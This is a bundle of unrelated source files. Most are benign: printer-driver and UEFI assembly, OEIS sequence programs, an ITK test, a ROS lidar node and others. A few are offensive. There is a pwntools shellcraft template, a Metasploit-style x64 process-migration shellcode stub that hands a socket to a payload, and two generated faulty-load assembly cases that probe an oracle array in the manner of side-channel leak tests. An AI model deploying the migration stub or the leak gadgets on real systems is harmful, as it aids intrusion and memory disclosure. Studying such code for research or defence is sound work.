Joon 1/99 Initial version from jobStartDotMatrix.asm
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintStartJob proc far
uses ax,bx,cx,dx,si,di,es
.enter
mov es, bp ;point at PState.
mov bx, es:PS_deviceInfo ;get the device specific info.
call MemLock
mov ds, ax ;segment into ds.
mov al, ds:PI_type ;get the printer smarts field.
mov ah, ds:PI_smarts ;get the printer smarts field.
mov {word}es:PS_printerType,ax ;set both in PState.
mov ax, ds:PI_customEntry ;get address of any custom routine.
call MemUnlock
tst ax ;see if a custom routine exists.
jz useStandard ;if not, skip to use standard init.
jmp ax ;else jmp to the custom routine.
;(It had better jump back here to
;somwhere in this routine or else
;things will get ugly on return).
useStandard:
call PrintResetPrinterAndWait ;init the printer hardware
jc done
;load the paper path variables from the Job Parameters block
mov al, es:[PS_jobParams].[JP_printerData].[PUID_paperInput]
clr ah
call PrintSetPaperPath
jc done
; initialize some info in the PState
clr ax
mov es:[PS_cursorPos].P_x, ax ; set to 0,0 text
mov es:[PS_cursorPos].P_y, ax
; set init codes (assuming graphic printing)
mov si, offset pr_codes_InitPrinter
call SendCodeOut
jc done
; set print resolution
mov si, offset pr_codes_SetPrintResolution
call SendCodeOut
jc done
mov ax, LOW_RES_X_RES
mov bx, LOW_RES_Y_RES
cmp es:[PS_mode], PM_GRAPHICS_LOW_RES
je setRes
mov ax, HI_RES_X_RES
mov bx, HI_RES_Y_RES
setRes:
mov cl, bh
call PrintStreamWriteByte ; write vertRes.high
mov cl, bl
call PrintStreamWriteByte ; write vertRes.low
mov cl, ah
call PrintStreamWriteByte ; write horizRes.high
mov cl, al
call PrintStreamWriteByte ; write horizRes.low
; set print method (sets print "quality" based on PrintMode)
mov si, offset pr_codes_SetPrintingMethod
call SendCodeOut
jc done
mov cl, CANON_BJC_PRINT_QUALITY_DRAFT
cmp es:[PS_mode], PM_GRAPHICS_LOW_RES
je setQuality
mov cl, CANON_BJC_PRINT_QUALITY_STANDARD
setQuality:
call PrintStreamWriteByte
done:
.leave
ret
PrintStartJob endp
|
<%
from pwnlib.shellcraft.i386.linux import syscall
%>
<%page args="who, usage"/>
<%docstring>
Invokes the syscall getrusage. See 'man 2 getrusage' for more information.
Arguments:
who(rusage_who_t): who
usage(rusage): usage
</%docstring>
${syscall('SYS_getrusage', who, usage)}
|
;------------------------------------------------------------------------------
;
; GetInterruptState() function for ARM
;
; Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>
; Portions copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
;------------------------------------------------------------------------------
EXPORT GetInterruptState
AREA Interrupt_enable, CODE, READONLY
;/**
; Retrieves the current CPU interrupt state.
;
; Returns TRUE is interrupts are currently enabled. Otherwise
; returns FALSE.
;
; @retval TRUE CPU interrupts are enabled.
; @retval FALSE CPU interrupts are disabled.
;
;**/
;
;BOOLEAN
;EFIAPI
;GetInterruptState (
; VOID
; );
;
GetInterruptState
MRS R0, CPSR
TST R0, #0x80 ;Check if IRQ is enabled.
MOVEQ R0, #1
MOVNE R0, #0
BX LR
END
|
;ASTER 06/03/2009 1245
;TO BE ASSEMBLED IN KEIL MICROVISION V3.60
;ARTIFICIAL INTELLIGENCE
;MICROCOMPUTER B SERVO
;-----------------------------------------------------------------------------------------------------------
;SET THE ASSEMBLER FOR AT89S52
$NOMOD51
$INCLUDE (AT89X52.h)
;-----------------------------------------------------------------------------------------------------------
ORG 0000H
RESET: SJMP 0030H
ORG 0030H
START: NOP
MOV SP,#10H
MOV TMOD,#10H
CLR TF1
;RELOCATE STACK OVER 10H
AGAIN: CLR TR1
MOV TH1,#0B7H
MOV TL1,#0FFH
CLR P3.0
SETB TR1
WAITL: JNB TF1,WAITL
SETB P3.0
CLR TR1
CLR TF1
MOV TH1,#0FAH
MOV TL1,#9AH
SETB TR1
WAITH: JNB TF1,WAITH
CLR TF1
SJMP AGAIN
HERE: SJMP HERE
DELAYL: MOV R7,#72
MOV R6,#0FFH
DJNZ R6,$
DJNZ R7,$-2
RET
DELAYH: MOV R7,#6
MOV R6,#0FFH
DJNZ R6,$
DJNZ R7,$-2
RET
END |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ReadMm2.Asm
;
; Abstract:
;
; AsmReadMm2 function
;
; Notes:
;
;------------------------------------------------------------------------------
.586
.model flat,C
.mmx
.code
;------------------------------------------------------------------------------
; UINT64
; EFIAPI
; AsmReadMm2 (
; VOID
; );
;------------------------------------------------------------------------------
AsmReadMm2 PROC
push eax
push eax
movq [esp], mm2
pop eax
pop edx
ret
AsmReadMm2 ENDP
END
|
; A007495: Josephus problem: survivors.
; 1,1,2,2,2,4,5,4,8,8,7,11,8,13,4,11,12,8,12,2,13,7,22,2,8,13,26,4,26,29,17,27,26,7,33,20,16,22,29,4,13,22,25,14,22,37,18,46,42,46,9,41,12,7,26,42,24,5,44,53,52,58,29,22,12,48,27,30,58,52,49,57,13,14,32,24,75,8,67,56,40,61,51,77,35,57,74,63,75,12,72,89,11,32,32,59,61,62,89,22,31,67,33,101,101,34,74,90,89,61,73,18,26,72,96,25,53,93,42,11,80,42,94,32,80,12,7,97,22,82,119,94,88,60,123,88,119,76,128,34,116,57,140,103,133,107,44,100,53,20,51,12,74,59,146,111,13,119,39,9,142,31,154,99,26,5,99,110,135,155,99,86,2,8,49,16,126,149,76,123,101,168,128,94,51,38,107,119,70,64,149,4,62,94,99,61,2,39,164,149,73,109,83,81,169,26,181,166,109,140,89,64,62,94,30,168,27,31,192,82,215,7,184,199,158,198,215,62,157,58,18,51,200,57,226,2,236,50,106,188,22,128,149,162,206,228,150,26,205,18
mov $1,1
mov $2,$0
lpb $2,1
add $3,1
mov $4,$1
add $4,$2
lpb $4,1
mov $1,$4
trn $4,$3
lpe
sub $2,1
lpe
|
/*=========================================================================
*
* Copyright Insight Software Consortium
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*=========================================================================*/
#include "itkImageFileReader.h"
#include "itkImageFileWriter.h"
#include "itkSimpleFilterWatcher.h"
#include "itkLabelImageToLabelMapFilter.h"
#include "itkAttributeKeepNObjectsLabelMapFilter.h"
#include "itkLabelMapToLabelImageFilter.h"
#include "itkTestingMacros.h"
int itkAttributeKeepNObjectsLabelMapFilterTest1(int argc, char * argv[])
{
if( argc != 5 )
{
std::cerr << "Usage: " << argv[0];
std::cerr << " input output";
std::cerr << " nbOfObjects reverseOrdering(0/1)";
std::cerr << std::endl;
return EXIT_FAILURE;
}
constexpr unsigned int dim = 3;
using PixelType = unsigned char;
using ImageType = itk::Image< PixelType, dim >;
using LabelObjectType = itk::AttributeLabelObject< PixelType, dim, int >;
using LabelMapType = itk::LabelMap< LabelObjectType >;
using ReaderType = itk::ImageFileReader< ImageType >;
ReaderType::Pointer reader = ReaderType::New();
reader->SetFileName( argv[1] );
using I2LType = itk::LabelImageToLabelMapFilter< ImageType, LabelMapType>;
I2LType::Pointer i2l = I2LType::New();
i2l->SetInput( reader->GetOutput() );
// The next step is made outside the pipeline model, so we call Update() now.
i2l->Update();
// Now we will valuate the attributes. The attribute will be the object position
// in the label map
LabelMapType::Pointer labelMap = i2l->GetOutput();
int pos = 0;
for( LabelMapType::Iterator it(labelMap); !it.IsAtEnd(); ++it )
{
LabelObjectType * labelObject = it.GetLabelObject();
labelObject->SetAttribute( pos++ );
}
using LabelKeepNObjectsType = itk::AttributeKeepNObjectsLabelMapFilter< LabelMapType >;
LabelKeepNObjectsType::Pointer opening = LabelKeepNObjectsType::New();
//testing get and set macros for NumberOfObjects
unsigned long nbOfObjects = std::stoi( argv[3] );
opening->SetNumberOfObjects( nbOfObjects );
ITK_TEST_SET_GET_VALUE( nbOfObjects , opening->GetNumberOfObjects() );
//testing get and set macros for ReverseOrdering
//testing boolean macro for ReverseOrdering
opening->ReverseOrderingOn();
ITK_TEST_SET_GET_VALUE( true, opening->GetReverseOrdering() );
opening->ReverseOrderingOff();
ITK_TEST_SET_GET_VALUE( false, opening->GetReverseOrdering() );
bool reverseOrdering = std::stoi( argv[4] );
opening->SetReverseOrdering( reverseOrdering );
ITK_TEST_SET_GET_VALUE( reverseOrdering , opening->GetReverseOrdering() );
opening->SetInput( labelMap );
itk::SimpleFilterWatcher watcher(opening, "filter");
using L2IType = itk::LabelMapToLabelImageFilter< LabelMapType, ImageType>;
L2IType::Pointer l2i = L2IType::New();
l2i->SetInput( opening->GetOutput() );
using WriterType = itk::ImageFileWriter< ImageType >;
WriterType::Pointer writer = WriterType::New();
writer->SetInput( l2i->GetOutput() );
writer->SetFileName( argv[2] );
writer->UseCompressionOn();
ITK_TRY_EXPECT_NO_EXCEPTION( writer->Update() );
return EXIT_SUCCESS;
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1d4ca, %rax
nop
nop
xor $5664, %rbx
movb (%rax), %r11b
nop
nop
nop
and %r15, %r15
lea addresses_A_ht+0xf11e, %r14
nop
nop
nop
nop
nop
dec %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
movups %xmm0, (%r14)
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_UC_ht+0x16b1e, %r14
nop
nop
nop
nop
nop
xor $3744, %rdi
mov $0x6162636465666768, %rax
movq %rax, %xmm6
and $0xffffffffffffffc0, %r14
movaps %xmm6, (%r14)
and $60475, %rsi
lea addresses_UC_ht+0x1911e, %r11
nop
nop
nop
xor $16100, %r15
mov $0x6162636465666768, %rax
movq %rax, %xmm3
vmovups %ymm3, (%r11)
nop
dec %rsi
lea addresses_normal_ht+0x291e, %rsi
lea addresses_normal_ht+0x18c0e, %rdi
dec %r11
mov $110, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $23318, %rcx
lea addresses_D_ht+0x1391e, %rsi
lea addresses_normal_ht+0x251e, %rdi
nop
nop
nop
dec %r15
mov $62, %rcx
rep movsb
nop
nop
nop
xor %rax, %rax
lea addresses_D_ht+0x17b9e, %rbx
nop
nop
nop
nop
nop
cmp $47953, %rax
mov $0x6162636465666768, %rdi
movq %rdi, %xmm5
and $0xffffffffffffffc0, %rbx
movntdq %xmm5, (%rbx)
nop
nop
nop
nop
sub $2367, %rax
lea addresses_WT_ht+0xed1e, %rsi
lea addresses_WT_ht+0xd8de, %rdi
dec %rax
mov $68, %rcx
rep movsq
add %rcx, %rcx
lea addresses_D_ht+0xb92e, %rsi
lea addresses_WC_ht+0x9f1e, %rdi
xor %rbx, %rbx
mov $73, %rcx
rep movsq
nop
nop
sub %rsi, %rsi
lea addresses_D_ht+0xab16, %rsi
lea addresses_WC_ht+0x1e96e, %rdi
clflush (%rdi)
nop
nop
nop
and %r15, %r15
mov $88, %rcx
rep movsw
and $18836, %r15
lea addresses_D_ht+0x11e, %rsi
nop
nop
nop
nop
nop
xor $47416, %rbx
movups (%rsi), %xmm5
vpextrq $0, %xmm5, %r14
nop
nop
nop
nop
xor %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r9
push %rax
push %rbp
// Store
lea addresses_A+0x5c3e, %r12
nop
nop
nop
nop
xor %r15, %r15
mov $0x5152535455565758, %rax
movq %rax, (%r12)
nop
nop
and %r15, %r15
// Faulty Load
lea addresses_PSE+0x791e, %rax
nop
add $63295, %r13
movups (%rax), %xmm2
vpextrq $0, %xmm2, %r12
lea oracles, %r9
and $0xff, %r12
shlq $12, %r12
mov (%r9,%r12,1), %r12
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; A082114: Diagonal sums of number array A082110.
; 1,2,9,32,89,210,441,848,1521,2578,4169,6480,9737,14210,20217,28128,38369,51426,67849,88256,113337,143858,180665,224688,276945,338546,410697,494704,591977,704034,832505,979136,1145793,1334466,1547273
mov $19,$0
mov $21,$0
add $21,1
lpb $21
clr $0,19
mov $0,$19
sub $21,1
sub $0,$21
mov $16,$0
mov $18,$0
add $18,1
lpb $18
mov $0,$16
sub $18,1
sub $0,$18
mov $12,$0
mov $14,2
lpb $14
mov $0,$12
sub $14,1
add $0,$14
sub $0,1
bin $0,2
mov $2,8
add $2,$0
mul $2,$0
mul $2,2
gcd $4,2
add $4,1
add $2,$4
mov $1,$2
mov $15,$14
lpb $15
mov $13,$1
sub $15,1
lpe
lpe
lpb $12
mov $12,0
sub $13,$1
lpe
mov $1,$13
div $1,3
add $17,$1
lpe
add $20,$17
lpe
mov $1,$20
|
.model small
.stack 100h
.data
msg1 db "Hello world...!$"
msg2 db "i am wasit shafi!$"
.code
main proc
mov ax, @data
mov ds, ax
up:
lea dx, msg1
mov ah, 09h
int 21H
mov dl, 10 ;line feed
mov ah, 02h
int 21h
mov dl, 13 ;Carriage return for printing from statring point
mov ah, 02h
int 21h
lea dx, msg2
mov ah, 09h
int 21H
mov dl, 10 ;line feed
mov ah, 02h
int 21h
mov dl, 13 ;Carriage return for printing from statring point
mov ah, 02h
int 21h
jmp up
mov ax, 4ch
int 21h
main endp
end main
|
; A220088: a(n) = 2^n - 81.
; -80,-79,-77,-73,-65,-49,-17,47,175,431,943,1967,4015,8111,16303,32687,65455,130991,262063,524207,1048495,2097071,4194223,8388527,16777135,33554351,67108783,134217647,268435375,536870831,1073741743,2147483567,4294967215
mov $1,2
pow $1,$0
sub $1,81
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ReadDr0.Asm
;
; Abstract:
;
; AsmReadDr0 function
;
; Notes:
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; UINTN
; EFIAPI
; AsmReadDr0 (
; VOID
; );
;------------------------------------------------------------------------------
global ASM_PFX(AsmReadDr0)
ASM_PFX(AsmReadDr0):
mov eax, dr0
ret
|
#include <ros/ros.h>
#include <math.h>
#include <nav_msgs/OccupancyGrid.h>
#include <nav_msgs/MapMetaData.h>
#include "std_msgs/String.h"
#include "sensor_msgs/LaserScan.h"
//CONSTANTS
#define MAX_DISTANCE 10 // Max distance of 10 meters
#define DIMENSIONS 200 // The grid dimensions
#define RESOLUTION 0.1 // Resolution of map (meters)
#define LIDAR_POS 100 // Row and Col indices for LiDAR
ros::Publisher map_pub;
/**
* @brief
*
* @param msg
*/
void onLidarCallback(const sensor_msgs::LaserScan::ConstPtr &msg)
{
//Instantiate message to publish to
nav_msgs::OccupancyGrid map_data;
// Change the map meta data. Can also choose origin?
nav_msgs::MapMetaData map_info;
map_info.resolution = RESOLUTION;
map_info.width = DIMENSIONS;
map_info.height = DIMENSIONS;
// Give map meta data to occupancy grid
map_data.info = map_info;
// Set up a vector to handle the lidar data
std::vector<signed char> lidar_data(DIMENSIONS*DIMENSIONS);
//Instantiate variables for obstacle detection
float angle;
float distance;
std::vector<float> ranges = msg->ranges;
for (int i = 0; i < ranges.size(); i++)
{
// If something is detected within range
if (ranges[i] > 0 && ranges[i] <= MAX_DISTANCE)
{
// Calculate angle
angle = msg->angle_min + (i * msg->angle_increment);
// Get cartesian coordinates
float x = ranges[i] * cos(angle);
float y = ranges[i] * sin(angle);
// Convert to number of indices away from LiDAR
int index = (LIDAR_POS - round(x / RESOLUTION)) * DIMENSIONS + (LIDAR_POS - round(y / RESOLUTION));
// Save value to save on text
int cur_val = lidar_data[index];
// If the indice already has an obstacle, increment "certainty"
if (cur_val > 0 && cur_val < 100)
{
lidar_data[index] += 1;
}
else if (cur_val != 100)
{
lidar_data[index] = 1;
}
//lidar_data[index] = 100;
}
}
// Set anything in the occupancy grid without a value to 0
for (int i = 0; i < DIMENSIONS * DIMENSIONS; ++i)
{
if (lidar_data[i] > 0 && lidar_data[i] <= 100)
lidar_data[i] = 100;
if (lidar_data[i] != 100)
lidar_data[i] = 0;
}
map_data.data = lidar_data;
// Publish message data to the topic
map_pub.publish(map_data);
}
/**
* @brief
*
* @param argc
* @param argv
* @return int
*/
int main(int argc, char **argv)
{
//Initialize the node
ros::init(argc, argv, "lidar_map_node");
//Set up node
ros::NodeHandle lidar_map_node;
//Create the publisher for the map
map_pub = lidar_map_node.advertise<nav_msgs::OccupancyGrid>(lidar_map_node.resolveName("/igvc_vision/map"), 10);
//Create the subscriber for the LiDAR
ros::Subscriber lidar = lidar_map_node.subscribe(lidar_map_node.resolveName("/scan"), 10, onLidarCallback);
//Automatically handles callbacks
ros::spin();
return 0;
}
|
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, 2003, XP
; Architecture: x64
; Version: 1.0 (Jan 2010)
; Size: 314 bytes
; Build: >build.py migrate
;-----------------------------------------------------------------------------;
; typedef struct MigrateContext
; {
; union
; {
; HANDLE hEvent;
; BYTE bPadding1[8];
; } e;
; union
; {
; LPVOID lpPayload;
; BYTE bPadding2[8];
; } p;
; WSAPROTOCOL_INFO info;
; } MIGRATECONTEXT, * LPMIGRATECONTEXT;
[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
mov rsi, rcx ; RCX is a pointer to our migration stub context
sub rsp, 0x2000 ; Alloc some space on stack
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm"
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
; setup the structures we need on the stack...
mov r14, 'ws2_32' ;
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
mov rcx, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
sub rsp, 0x28 ; alloc space for function calls
; perform the call to LoadLibraryA...
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA( "ws2_32" )
; perform the call to WSAStartup...
mov rdx, r13 ; second param is a pointer to this stuct
push byte 2 ;
pop rcx ; set the param for the version requested
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call rbp ; WSAStartup( 2, &WSAData );
; perform the call to WSASocketA...
xor r8, r8 ; we do not specify a protocol
push r8 ; push zero for the flags param.
push r8 ; push null for reserved parameter
lea r9, [rsi+16] ; We specify the WSAPROTOCOL_INFO structure from the MigrateContext
push byte 1 ;
pop rdx ; SOCK_STREAM == 1
push byte 2 ;
pop rcx ; AF_INET == 2
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, &info, 0, 0 );
mov rdi, rax ; save the socket for later
; perform the call to SetEvent...
mov rcx, qword [rsi] ; Set the first parameter to the migrate event
mov r10d, 0x35269F1D ; hash( "kernel32.dll", "SetEvent" )
call rbp ; SetEvent( hEvent );
; perform the call to the payload...
call qword [rsi+8] ; Call the payload...
|
/**
Copyright 2014-2015 Jason R. Wendlandt
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "Entities/PrimitiveComponent.h"
#include "Scripting/LuaVar.h"
namespace alpha
{
const std::string PrimitiveComponent::sk_name = "primitive";
PrimitiveComponent::~PrimitiveComponent() { }
//! Provides logic for how to initialize a transform component from Lua script data
void PrimitiveComponent::VInitialize(std::shared_ptr<LuaVar> var)
{
std::shared_ptr<LuaTable> table = std::dynamic_pointer_cast<LuaTable>(var);
std::shared_ptr<LuaVar> transform = table->Get("transform");
if (transform != nullptr)
{
SceneComponent::VInitialize(transform);
}
}
bool PrimitiveComponent::VUpdate(float /*fCurrentTime*/, float /*fElapsedTime*/)
{
return true;
}
std::string PrimitiveComponent::VGetName() const
{
return PrimitiveComponent::sk_name;
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1e3ab, %rsi
lea addresses_WC_ht+0x12073, %rdi
nop
nop
nop
dec %r9
mov $81, %rcx
rep movsb
nop
add $21414, %r12
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r9
push %rbp
push %rbx
push %rcx
push %rsi
// Load
mov $0x198e17000000023b, %rbx
nop
nop
nop
nop
xor %rbp, %rbp
movb (%rbx), %r11b
nop
nop
nop
nop
cmp %rbx, %rbx
// Load
lea addresses_A+0x9ac3, %r9
nop
nop
xor $4742, %rcx
movb (%r9), %r11b
nop
nop
nop
nop
inc %r14
// Faulty Load
mov $0x198e17000000023b, %rbp
clflush (%rbp)
nop
nop
cmp $26005, %rcx
movups (%rbp), %xmm5
vpextrq $0, %xmm5, %r11
lea oracles, %r14
and $0xff, %r11
shlq $12, %r11
mov (%r14,%r11,1), %r11
pop %rsi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'00': 4508}
